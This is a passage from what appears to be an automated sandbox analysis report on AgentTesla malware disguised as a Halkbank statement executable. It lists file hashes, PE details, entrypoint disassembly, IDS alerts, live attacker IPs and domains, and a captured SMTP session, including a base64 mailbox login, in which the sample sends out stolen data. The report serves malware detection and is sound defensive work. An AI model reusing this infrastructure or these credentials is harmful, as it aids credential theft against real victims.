                        XP-9743 Medical report COVID-19.docGet hashmaliciousBrowse
                        • 109.232.216.177
                        Re.invoice.exeGet hashmaliciousBrowse
                        • 37.230.107.14
                        36bjGck9ps.exeGet hashmaliciousBrowse
                        • 37.230.107.15
                        n1hou07jRi.exeGet hashmaliciousBrowse
                        • 37.230.107.14
                        SZOSVrCvEl.exeGet hashmaliciousBrowse
                        • 37.230.107.17
                        2LR7qIZpc9.exeGet hashmaliciousBrowse
                        • 37.230.107.14
                        QXfxLv6GGp.exeGet hashmaliciousBrowse
                        • 37.230.107.17
                        0908000090000.exeGet hashmaliciousBrowse
                        • 37.230.106.17
                        Tax Invoices IN102738 IN102739 IN102740 (2).exeGet hashmaliciousBrowse
                        • 37.230.107.13
                        Quotation 7339.exeGet hashmaliciousBrowse
                        • 37.230.107.16
                        kart bilgisizzz.exeGet hashmaliciousBrowse
                        • 37.230.106.16
                        CardFinans09000.exeGet hashmaliciousBrowse
                        • 37.230.106.17
                        0lQnavQlRv.exeGet hashmaliciousBrowse
                        • 37.230.107.13
                        payment invoice090909000.exeGet hashmaliciousBrowse
                        • 37.230.106.16
                        POUIYYY.exeGet hashmaliciousBrowse
                        • 37.230.106.16
                        invoice 2.exeGet hashmaliciousBrowse
                        • 37.230.107.15
                        invoice 2.exeGet hashmaliciousBrowse
                        • 37.230.107.15

                        JA3 Fingerprints

                        No context

                        Dropped Files

                        No context

                        Created / dropped Files

                        C:\Users\user\AppData\Roaming\bdbdmgwj.xzv\Chrome\Default\Cookies
                        Process:C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe
                        File Type:SQLite 3.x database, last written using SQLite version 3032001
                        Category:dropped
                        Size (bytes):20480
                        Entropy (8bit):0.6969296358976265
                        Encrypted:false
                        SSDEEP:24:TLbJLbXaFpEO5bNmISHn06UwcQPx5fBo2+tYeF+X:T5LLOpEO5J/Kn7U1uBo2UYeQ
                        MD5:A9DBC7B8E523ABE3B02D77DBF2FCD645
                        SHA1:DF5EE16ECF4B3B02E312F935AE81D4C5D2E91CA8
                        SHA-256:39B4E45A062DEA6F541C18FA1A15C5C0DB43A59673A26E2EB5B8A4345EE767AE
                        SHA-512:3CF87455263E395313E779D4F440D8405D86244E04B5F577BB9FA2F4A2069DE019D340F6B2F6EF420DEE3D3DEEFD4B58DA3FCA3BB802DE348E1A810D6379CC3B
                        Malicious:false
                        Reputation:moderate, very likely benign file
                        Preview: SQLite format 3......@ ..........................................................................C....... ..g... .8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                        Static File Info

                        General

                        File type:PE32 executable (GUI) Intel 80386, for MS Windows
                        Entropy (8bit):7.435198963754783
                        TrID:
                        • Win32 Executable (generic) a (10002005/4) 99.96%
                        • Generic Win/DOS Executable (2004/3) 0.02%
                        • DOS Executable Generic (2002/1) 0.02%
                        • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                        File name:Halkbank_Ekstre_20210113_162325_384771.exe
                        File size:517632
                        MD5:8bdf3d3cb7c7680df5b8d6385dc5db82
                        SHA1:442eaa27d23dc72fd96c9d2d984068669afbeb5d
                        SHA256:a3c564db9537f84073828e42af85c0558e763cb211e80bd4653e429ecb62ce8b
                        SHA512:7356a0586c565076d71ae75e77287d8d10a6636d4e789a078f4ba5b493288dcda0ccfbe721b5a05ea0dbaf37e0b428c0eeb19b77390e3239a3f7baccbfb5896b
                        SSDEEP:6144:Lr1I5DbAQcHAORYANc73CoNUkJYUTIHRghDfeIenXA87i+uLJl98xCoxCB:/1I5fAPHQNUdHID9Yb7PO9YCB
                        File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........tj.m'j.m'j.m'.Q.'k.m'.4.'I.m'.4.'r.m'.4.'..m'j.l'..m'...'..m'M7.'k.m'M7.'k.m'M7.'k.m'Richj.m'................PE..L......_...

                        File Icon

                        Icon Hash:0f470d0d0d09470c

                        Static PE Info

                        General

                        Entrypoint:0x4088a7
                        Entrypoint Section:.text
                        Digitally signed:false
                        Imagebase:0x400000
                        Subsystem:windows gui
                        Image File Characteristics:32BIT_MACHINE, EXECUTABLE_IMAGE
                        DLL Characteristics:TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
                        Time Stamp:0x5FFEB4E8 [Wed Jan 13 08:52:56 2021 UTC]
                        TLS Callbacks:
                        CLR (.Net) Version:
                        OS Version Major:6
                        OS Version Minor:0
                        File Version Major:6
                        File Version Minor:0
                        Subsystem Version Major:6
                        Subsystem Version Minor:0
                        Import Hash:e7da020c2fad0c59a3d5e97971484548

                        Entrypoint Preview

                        Instruction
                        call 00007F934CBF00A1h
                        jmp 00007F934CBE8D05h
                        push 00000014h
                        push 0041D838h
                        call 00007F934CBE95A8h
                        call 00007F934CBEC456h
                        movzx esi, ax
                        push 00000002h
                        call 00007F934CBF0034h
                        pop ecx
                        mov eax, 00005A4Dh
                        cmp word ptr [00400000h], ax
                        je 00007F934CBE8D06h
                        xor ebx, ebx
                        jmp 00007F934CBE8D35h
                        mov eax, dword ptr [0040003Ch]
                        cmp dword ptr [eax+00400000h], 00004550h
                        jne 00007F934CBE8CEDh
                        mov ecx, 0000010Bh
                        cmp word ptr [eax+00400018h], cx
                        jne 00007F934CBE8CDFh
                        xor ebx, ebx
                        cmp dword ptr [eax+00400074h], 0Eh
                        jbe 00007F934CBE8D0Bh
                        cmp dword ptr [eax+004000E8h], ebx
                        setne bl
                        mov dword ptr [ebp-1Ch], ebx
                        call 00007F934CBED443h
                        test eax, eax
                        jne 00007F934CBE8D0Ah
                        push 0000001Ch
                        call 00007F934CBE8DD5h
                        pop ecx
                        call 00007F934CBEDAACh
                        test eax, eax
                        jne 00007F934CBE8D0Ah
                        push 00000010h
                        call 00007F934CBE8DC4h
                        pop ecx
                        call 00007F934CBEC1E8h
                        and dword ptr [ebp-04h], 00000000h
                        call 00007F934CBEA983h
                        call dword ptr [004180C8h]
                        mov dword ptr [00424080h], eax
                        call 00007F934CBF0092h
                        mov dword ptr [00422284h], eax
                        call 00007F934CBEFC93h
                        test eax, eax
                        jns 00007F934CBE8D0Ah
                        push 00000008h
                        call 00007F934CBE78BAh
                        pop ecx
                        call 00007F934CBEFEAFh

                        Rich Headers

                        Programming Language:
                        • [LNK] VS2012 build 50727
                        • [RES] VS2012 build 50727
                        • [ C ] VS2012 build 50727

                        Data Directories

                        NameVirtual AddressVirtual Size Is in Section
                        IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                        IMAGE_DIRECTORY_ENTRY_IMPORT0x1db940xdc.rdata
                        IMAGE_DIRECTORY_ENTRY_RESOURCE0x250000x14908.rsrc
                        IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                        IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                        IMAGE_DIRECTORY_ENTRY_BASERELOC0x3a0000x1150.reloc
                        IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                        IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                        IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                        IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                        IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x1d6e00x40.rdata
                        IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                        IMAGE_DIRECTORY_ENTRY_IAT0x180000x1c8.rdata
                        IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                        IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                        IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                        Sections

                        NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                        .text0x10000x16d9a0x16e00False0.571016905738data6.67353254408IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                        .rdata0x180000x64f80x6600False0.572227328431data6.01779519415IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                        .data0x1f0000x50980x3400False0.285531850962data4.70097691284IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
                        .rsrc0x250000x149080x14a00False0.180705492424data4.28205034385IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                        .reloc0x3a0000x18560x1a00False0.560546875data5.24804526054IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                        Resources

                        NameRVASizeTypeLanguageCountry
                        RT_ICON0x251c00x468GLS_BINARY_LSB_FIRSTEnglishUnited States
                        RT_ICON0x256280x988dataEnglishUnited States
                        RT_ICON0x25fb00x10a8dBase IV DBT of @.DBF, block length 4096, next free block index 40, next free block 4294967295, next used block 4294967295EnglishUnited States
                        RT_ICON0x270580x25a8dBase IV DBT of `.DBF, block length 9216, next free block index 40, next free block 4294967295, next used block 4294967295EnglishUnited States
                        RT_ICON0x296000xe8acdataEnglishUnited States
                        RT_RCDATA0x37f000x1a05dataEnglishUnited States
                        RT_GROUP_ICON0x37eb00x4cdataEnglishUnited States

                        Imports

                        DLLImport
                        KERNEL32.dllRaiseException, ReadConsoleW, ReadFile, CreateFileW, WriteConsoleW, GetStringTypeW, LCMapStringEx, SetConsoleCursorPosition, LoadLibraryW, GetModuleHandleW, HeapReAlloc, HeapSize, OutputDebugStringW, SetFilePointerEx, GetConsoleMode, GetConsoleCP, FlushFileBuffers, SetStdHandle, WideCharToMultiByte, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetProcessHeap, HeapAlloc, GetStdHandle, GetTickCount64, GetSystemTimeAsFileTime, QueryPerformanceCounter, GetModuleFileNameA, GetCurrentThreadId, SetLastError, GetCPInfo, GetOEMCP, GetACP, EncodePointer, DecodePointer, GetLastError, InterlockedDecrement, ExitProcess, GetModuleHandleExW, GetProcAddress, AreFileApisANSI, MultiByteToWideChar, GetLocalTime, GetCommandLineA, IsDebuggerPresent, IsProcessorFeaturePresent, EnterCriticalSection, LeaveCriticalSection, CloseHandle, HeapFree, InitializeCriticalSectionAndSpinCount, RtlUnwind, GetFileType, DeleteCriticalSection, InitOnceExecuteOnce, GetStartupInfoW, UnhandledExceptionFilter, SetUnhandledExceptionFilter, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, GetCurrentProcess, TerminateProcess, WriteFile, GetModuleFileNameW, Sleep, LoadLibraryExW, InterlockedIncrement, IsValidCodePage, SetEndOfFile
                        msi.dll
                        loadperf.dllLoadPerfCounterTextStringsA, UnloadPerfCounterTextStringsW, UnloadPerfCounterTextStringsA
                        MSVFW32.dllStretchDIB
                        AVIFIL32.dllAVIFileExit, AVIStreamReadData
                        pdh.dllPdhEnumObjectsW, PdhSetQueryTimeRange, PdhGetDllVersion
                        WSOCK32.dllWSASetBlockingHook, WSACancelAsyncRequest, bind, ord1104, ord1108, ord1130
                        GDI32.dllStartDocW, GdiGetSpoolFileHandle, PolyBezier
                        MAPI32.dll
                        MSACM32.dllacmDriverPriority, acmFilterTagDetailsA

                        Possible Origin

                        Language of compilation systemCountry where language is spokenMap
                        EnglishUnited States

                        Network Behavior

                        Snort IDS Alerts

                        TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                        01/13/21-21:48:24.132757TCP2030171ET TROJAN AgentTesla Exfil Via SMTP49711587192.168.2.7109.232.220.251
                        01/13/21-21:48:25.921637TCP2030171ET TROJAN AgentTesla Exfil Via SMTP49712587192.168.2.7109.232.220.251

                        Network Port Distribution

                        TCP Packets

                        TimestampSource PortDest PortSource IPDest IP
                        Jan 13, 2021 21:48:23.310643911 CET49711587192.168.2.7109.232.220.251
                        Jan 13, 2021 21:48:23.391347885 CET58749711109.232.220.251192.168.2.7
                        Jan 13, 2021 21:48:23.391645908 CET49711587192.168.2.7109.232.220.251
                        Jan 13, 2021 21:48:23.601947069 CET58749711109.232.220.251192.168.2.7
                        Jan 13, 2021 21:48:23.602631092 CET49711587192.168.2.7109.232.220.251
                        Jan 13, 2021 21:48:23.683430910 CET58749711109.232.220.251192.168.2.7
                        Jan 13, 2021 21:48:23.685769081 CET49711587192.168.2.7109.232.220.251
                        Jan 13, 2021 21:48:23.767661095 CET58749711109.232.220.251192.168.2.7
                        Jan 13, 2021 21:48:23.768654108 CET49711587192.168.2.7109.232.220.251
                        Jan 13, 2021 21:48:23.861720085 CET58749711109.232.220.251192.168.2.7
                        Jan 13, 2021 21:48:23.862680912 CET49711587192.168.2.7109.232.220.251
                        Jan 13, 2021 21:48:23.943025112 CET58749711109.232.220.251192.168.2.7
                        Jan 13, 2021 21:48:23.943578005 CET49711587192.168.2.7109.232.220.251
                        Jan 13, 2021 21:48:24.043967962 CET58749711109.232.220.251192.168.2.7
                        Jan 13, 2021 21:48:24.044297934 CET49711587192.168.2.7109.232.220.251
                        Jan 13, 2021 21:48:24.124954939 CET58749711109.232.220.251192.168.2.7
                        Jan 13, 2021 21:48:24.125097990 CET58749711109.232.220.251192.168.2.7
                        Jan 13, 2021 21:48:24.132756948 CET49711587192.168.2.7109.232.220.251
                        Jan 13, 2021 21:48:24.133276939 CET49711587192.168.2.7109.232.220.251
                        Jan 13, 2021 21:48:24.133873940 CET49711587192.168.2.7109.232.220.251
                        Jan 13, 2021 21:48:24.134016991 CET49711587192.168.2.7109.232.220.251
                        Jan 13, 2021 21:48:24.213766098 CET58749711109.232.220.251192.168.2.7
                        Jan 13, 2021 21:48:24.214521885 CET58749711109.232.220.251192.168.2.7
                        Jan 13, 2021 21:48:24.236974001 CET58749711109.232.220.251192.168.2.7
                        Jan 13, 2021 21:48:24.277636051 CET49711587192.168.2.7109.232.220.251
                        Jan 13, 2021 21:48:25.226833105 CET49711587192.168.2.7109.232.220.251
                        Jan 13, 2021 21:48:25.309237957 CET58749711109.232.220.251192.168.2.7
                        Jan 13, 2021 21:48:25.309633970 CET49711587192.168.2.7109.232.220.251
                        Jan 13, 2021 21:48:25.309801102 CET49711587192.168.2.7109.232.220.251
                        Jan 13, 2021 21:48:25.310714960 CET49712587192.168.2.7109.232.220.251
                        Jan 13, 2021 21:48:25.383346081 CET58749712109.232.220.251192.168.2.7
                        Jan 13, 2021 21:48:25.383452892 CET49712587192.168.2.7109.232.220.251
                        Jan 13, 2021 21:48:25.390098095 CET58749711109.232.220.251192.168.2.7
                        Jan 13, 2021 21:48:25.459893942 CET58749712109.232.220.251192.168.2.7
                        Jan 13, 2021 21:48:25.460177898 CET49712587192.168.2.7109.232.220.251
                        Jan 13, 2021 21:48:25.532881021 CET58749712109.232.220.251192.168.2.7
                        Jan 13, 2021 21:48:25.533261061 CET49712587192.168.2.7109.232.220.251
                        Jan 13, 2021 21:48:25.606108904 CET58749712109.232.220.251192.168.2.7
                        Jan 13, 2021 21:48:25.606667042 CET49712587192.168.2.7109.232.220.251
                        Jan 13, 2021 21:48:25.684650898 CET58749712109.232.220.251192.168.2.7
                        Jan 13, 2021 21:48:25.687062025 CET49712587192.168.2.7109.232.220.251
                        Jan 13, 2021 21:48:25.761615038 CET58749712109.232.220.251192.168.2.7
                        Jan 13, 2021 21:48:25.761971951 CET49712587192.168.2.7109.232.220.251
                        Jan 13, 2021 21:48:25.842509031 CET58749712109.232.220.251192.168.2.7
                        Jan 13, 2021 21:48:25.844945908 CET49712587192.168.2.7109.232.220.251
                        Jan 13, 2021 21:48:25.920116901 CET58749712109.232.220.251192.168.2.7
                        Jan 13, 2021 21:48:25.920146942 CET58749712109.232.220.251192.168.2.7
                        Jan 13, 2021 21:48:25.921427011 CET49712587192.168.2.7109.232.220.251
                        Jan 13, 2021 21:48:25.921637058 CET49712587192.168.2.7109.232.220.251
                        Jan 13, 2021 21:48:25.921734095 CET49712587192.168.2.7109.232.220.251
                        Jan 13, 2021 21:48:25.921817064 CET49712587192.168.2.7109.232.220.251
                        Jan 13, 2021 21:48:25.921986103 CET49712587192.168.2.7109.232.220.251
                        Jan 13, 2021 21:48:25.922058105 CET49712587192.168.2.7109.232.220.251
                        Jan 13, 2021 21:48:25.922123909 CET49712587192.168.2.7109.232.220.251
                        Jan 13, 2021 21:48:25.922286987 CET49712587192.168.2.7109.232.220.251
                        Jan 13, 2021 21:48:25.994154930 CET58749712109.232.220.251192.168.2.7
                        Jan 13, 2021 21:48:25.994611979 CET58749712109.232.220.251192.168.2.7
                        Jan 13, 2021 21:48:25.994637966 CET58749712109.232.220.251192.168.2.7
                        Jan 13, 2021 21:48:26.023324013 CET58749712109.232.220.251192.168.2.7
                        Jan 13, 2021 21:48:26.074748039 CET49712587192.168.2.7109.232.220.251

                        UDP Packets

                        TimestampSource PortDest PortSource IPDest IP
                        Jan 13, 2021 21:46:29.657373905 CET5659053192.168.2.78.8.8.8
                        Jan 13, 2021 21:46:29.705615044 CET53565908.8.8.8192.168.2.7
                        Jan 13, 2021 21:46:30.480578899 CET6050153192.168.2.78.8.8.8
                        Jan 13, 2021 21:46:30.528429031 CET53605018.8.8.8192.168.2.7
                        Jan 13, 2021 21:46:31.331312895 CET5377553192.168.2.78.8.8.8
                        Jan 13, 2021 21:46:31.379257917 CET53537758.8.8.8192.168.2.7
                        Jan 13, 2021 21:46:32.790518045 CET5183753192.168.2.78.8.8.8
                        Jan 13, 2021 21:46:32.838291883 CET53518378.8.8.8192.168.2.7
                        Jan 13, 2021 21:46:34.691339970 CET5541153192.168.2.78.8.8.8
                        Jan 13, 2021 21:46:34.739322901 CET53554118.8.8.8192.168.2.7
                        Jan 13, 2021 21:46:35.673193932 CET6366853192.168.2.78.8.8.8
                        Jan 13, 2021 21:46:35.723819971 CET53636688.8.8.8192.168.2.7
                        Jan 13, 2021 21:46:36.466608047 CET5464053192.168.2.78.8.8.8
                        Jan 13, 2021 21:46:36.517349005 CET53546408.8.8.8192.168.2.7
                        Jan 13, 2021 21:46:38.135898113 CET5873953192.168.2.78.8.8.8
                        Jan 13, 2021 21:46:38.186909914 CET53587398.8.8.8192.168.2.7
                        Jan 13, 2021 21:46:39.445326090 CET6033853192.168.2.78.8.8.8
                        Jan 13, 2021 21:46:39.504596949 CET53603388.8.8.8192.168.2.7
                        Jan 13, 2021 21:46:41.700320959 CET5871753192.168.2.78.8.8.8
                        Jan 13, 2021 21:46:41.751512051 CET53587178.8.8.8192.168.2.7
                        Jan 13, 2021 21:46:44.782391071 CET5976253192.168.2.78.8.8.8
                        Jan 13, 2021 21:46:44.838838100 CET53597628.8.8.8192.168.2.7
                        Jan 13, 2021 21:46:46.812696934 CET5432953192.168.2.78.8.8.8
                        Jan 13, 2021 21:46:46.860708952 CET53543298.8.8.8192.168.2.7
                        Jan 13, 2021 21:46:47.769114971 CET5805253192.168.2.78.8.8.8
                        Jan 13, 2021 21:46:47.816962004 CET53580528.8.8.8192.168.2.7
                        Jan 13, 2021 21:46:54.259582996 CET5400853192.168.2.78.8.8.8
                        Jan 13, 2021 21:46:54.309675932 CET53540088.8.8.8192.168.2.7
                        Jan 13, 2021 21:46:55.723229885 CET5945153192.168.2.78.8.8.8
                        Jan 13, 2021 21:46:55.771421909 CET53594518.8.8.8192.168.2.7
                        Jan 13, 2021 21:46:57.217106104 CET5291453192.168.2.78.8.8.8
                        Jan 13, 2021 21:46:57.265522957 CET53529148.8.8.8192.168.2.7
                        Jan 13, 2021 21:47:19.243168116 CET6456953192.168.2.78.8.8.8
                        Jan 13, 2021 21:47:19.306643009 CET53645698.8.8.8192.168.2.7
                        Jan 13, 2021 21:47:19.401158094 CET5281653192.168.2.78.8.8.8
                        Jan 13, 2021 21:47:19.457763910 CET53528168.8.8.8192.168.2.7
                        Jan 13, 2021 21:48:22.759804964 CET5078153192.168.2.78.8.8.8
                        Jan 13, 2021 21:48:22.858607054 CET53507818.8.8.8192.168.2.7
                        Jan 13, 2021 21:48:22.876439095 CET5423053192.168.2.78.8.8.8
                        Jan 13, 2021 21:48:23.220669985 CET53542308.8.8.8192.168.2.7

                        DNS Queries

                        TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                        Jan 13, 2021 21:48:22.759804964 CET192.168.2.78.8.8.80x5085Standard query (0)mail.ceotech.com.trA (IP address)IN (0x0001)
                        Jan 13, 2021 21:48:22.876439095 CET192.168.2.78.8.8.80xb9faStandard query (0)mail.ceotech.com.trA (IP address)IN (0x0001)

                        DNS Answers

                        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                        Jan 13, 2021 21:48:22.858607054 CET8.8.8.8192.168.2.70x5085No error (0)mail.ceotech.com.trceotech.com.trCNAME (Canonical name)IN (0x0001)
                        Jan 13, 2021 21:48:22.858607054 CET8.8.8.8192.168.2.70x5085No error (0)ceotech.com.tr109.232.220.251A (IP address)IN (0x0001)
                        Jan 13, 2021 21:48:23.220669985 CET8.8.8.8192.168.2.70xb9faNo error (0)mail.ceotech.com.trceotech.com.trCNAME (Canonical name)IN (0x0001)
                        Jan 13, 2021 21:48:23.220669985 CET8.8.8.8192.168.2.70xb9faNo error (0)ceotech.com.tr109.232.220.251A (IP address)IN (0x0001)

                        SMTP Packets

                        TimestampSource PortDest PortSource IPDest IPCommands
                        Jan 13, 2021 21:48:23.601947069 CET58749711109.232.220.251192.168.2.7220-cpanel8.webadam.com ESMTP Exim 4.93 #2 Wed, 13 Jan 2021 23:48:25 +0300
                        220-We do not authorize the use of this system to transport unsolicited,
                        220 and/or bulk e-mail.
                        Jan 13, 2021 21:48:23.602631092 CET49711587192.168.2.7109.232.220.251EHLO 226533
                        Jan 13, 2021 21:48:23.683430910 CET58749711109.232.220.251192.168.2.7250-cpanel8.webadam.com Hello 226533 [84.17.52.74]
                        250-SIZE 52428800
                        250-8BITMIME
                        250-PIPELINING
                        250-AUTH PLAIN LOGIN
                        250-STARTTLS
                        250 HELP
                        Jan 13, 2021 21:48:23.685769081 CET49711587192.168.2.7109.232.220.251AUTH login bXVoYXNlYmVAY2VvdGVjaC5jb20udHI=
                        Jan 13, 2021 21:48:23.767661095 CET58749711109.232.220.251192.168.2.7334 UGFzc3dvcmQ6
                        Jan 13, 2021 21:48:23.861720085 CET58749711109.232.220.251192.168.2.7235 Authentication succeeded
                        Jan 13, 2021 21:48:23.862680912 CET49711587192.168.2.7109.232.220.251MAIL FROM:<muhasebe@ceotech.com.tr>
                        Jan 13, 2021 21:48:23.943025112 CET58749711109.232.220.251192.168.2.7250 OK
                        Jan 13, 2021 21:48:23.943578005 CET49711587192.168.2.7109.232.220.251RCPT TO:<muhasebe@ceotech.com.tr>
                        Jan 13, 2021 21:48:24.043967962 CET58749711109.232.220.251192.168.2.7250 Accepted
                        Jan 13, 2021 21:48:24.044297934 CET49711587192.168.2.7109.232.220.251DATA
                        Jan 13, 2021 21:48:24.125097990 CET58749711109.232.220.251192.168.2.7354 Enter message, ending with "." on a line by itself
                        Jan 13, 2021 21:48:24.134016991 CET49711587192.168.2.7109.232.220.251.
                        Jan 13, 2021 21:48:24.236974001 CET58749711109.232.220.251192.168.2.7250 OK id=1kzn45-003L46-Pb
                        Jan 13, 2021 21:48:25.226833105 CET49711587192.168.2.7109.232.220.251QUIT
                        Jan 13, 2021 21:48:25.309237957 CET58749711109.232.220.251192.168.2.7221 cpanel8.webadam.com closing connection
                        Jan 13, 2021 21:48:25.459893942 CET58749712109.232.220.251192.168.2.7220-cpanel8.webadam.com ESMTP Exim 4.93 #2 Wed, 13 Jan 2021 23:48:27 +0300
                        220-We do not authorize the use of this system to transport unsolicited,
                        220 and/or bulk e-mail.
                        Jan 13, 2021 21:48:25.460177898 CET49712587192.168.2.7109.232.220.251EHLO 226533
                        Jan 13, 2021 21:48:25.532881021 CET58749712109.232.220.251192.168.2.7250-cpanel8.webadam.com Hello 226533 [84.17.52.74]
                        250-SIZE 52428800
                        250-8BITMIME
                        250-PIPELINING
                        250-AUTH PLAIN LOGIN
                        250-STARTTLS
                        250 HELP
                        Jan 13, 2021 21:48:25.533261061 CET49712587192.168.2.7109.232.220.251AUTH login bXVoYXNlYmVAY2VvdGVjaC5jb20udHI=
                        Jan 13, 2021 21:48:25.606108904 CET58749712109.232.220.251192.168.2.7334 UGFzc3dvcmQ6
                        Jan 13, 2021 21:48:25.684650898 CET58749712109.232.220.251192.168.2.7235 Authentication succeeded
                        Jan 13, 2021 21:48:25.687062025 CET49712587192.168.2.7109.232.220.251MAIL FROM:<muhasebe@ceotech.com.tr>
                        Jan 13, 2021 21:48:25.761615038 CET58749712109.232.220.251192.168.2.7250 OK
                        Jan 13, 2021 21:48:25.761971951 CET49712587192.168.2.7109.232.220.251RCPT TO:<muhasebe@ceotech.com.tr>
                        Jan 13, 2021 21:48:25.842509031 CET58749712109.232.220.251192.168.2.7250 Accepted
                        Jan 13, 2021 21:48:25.844945908 CET49712587192.168.2.7109.232.220.251DATA
                        Jan 13, 2021 21:48:25.920146942 CET58749712109.232.220.251192.168.2.7354 Enter message, ending with "." on a line by itself
                        Jan 13, 2021 21:48:25.922286987 CET49712587192.168.2.7109.232.220.251.
                        Jan 13, 2021 21:48:26.023324013 CET58749712109.232.220.251192.168.2.7250 OK id=1kzn47-003L4J-JA

                        Code Manipulations

                        Statistics

                        Behavior

                        Click to jump to process

                        System Behavior

                        General

                        Start time:21:46:34
                        Start date:13/01/2021
                        Path:C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe
                        Wow64 process (32bit):true
                        Commandline:'C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe'
                        Imagebase:0xec0000
                        File size:517632 bytes
                        MD5 hash:8BDF3D3CB7C7680DF5B8D6385DC5DB82
                        Has elevated privileges:true
                        Has administrator privileges:true
                        Programmed in:C, C++ or other language
                        Yara matches:
                        • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.253943134.0000000000F70000.00000004.00000001.sdmp, Author: Joe Security
                        Reputation:low

                        General

                        Start time:21:46:36
                        Start date:13/01/2021
                        Path:C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe
                        Wow64 process (32bit):true
                        Commandline:'C:\Users\user\Desktop\Halkbank_Ekstre_20210113_162325_384771.exe'
                        Imagebase:0xec0000
                        File size:517632 bytes
                        MD5 hash:8BDF3D3CB7C7680DF5B8D6385DC5DB82
                        Has elevated privileges:true
                        Has administrator privileges:true
                        Programmed in:.Net C# or VB.NET
                        Yara matches:
                        • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.628915716.00000000054D2000.00000040.00000001.sdmp, Author: Joe Security
                        • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.625929224.0000000003020000.00000004.00000001.sdmp, Author: Joe Security
                        • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.628470056.0000000004091000.00000004.00000001.sdmp, Author: Joe Security
                        • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.622605392.0000000000400000.00000040.00000001.sdmp, Author: Joe Security
                        • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.626326029.0000000003091000.00000004.00000001.sdmp, Author: Joe Security
                        • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.626326029.0000000003091000.00000004.00000001.sdmp, Author: Joe Security
                        • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.624730399.0000000001209000.00000004.00000020.sdmp, Author: Joe Security
                        Reputation:low

                        Disassembly

                        Code Analysis

                        Reset < >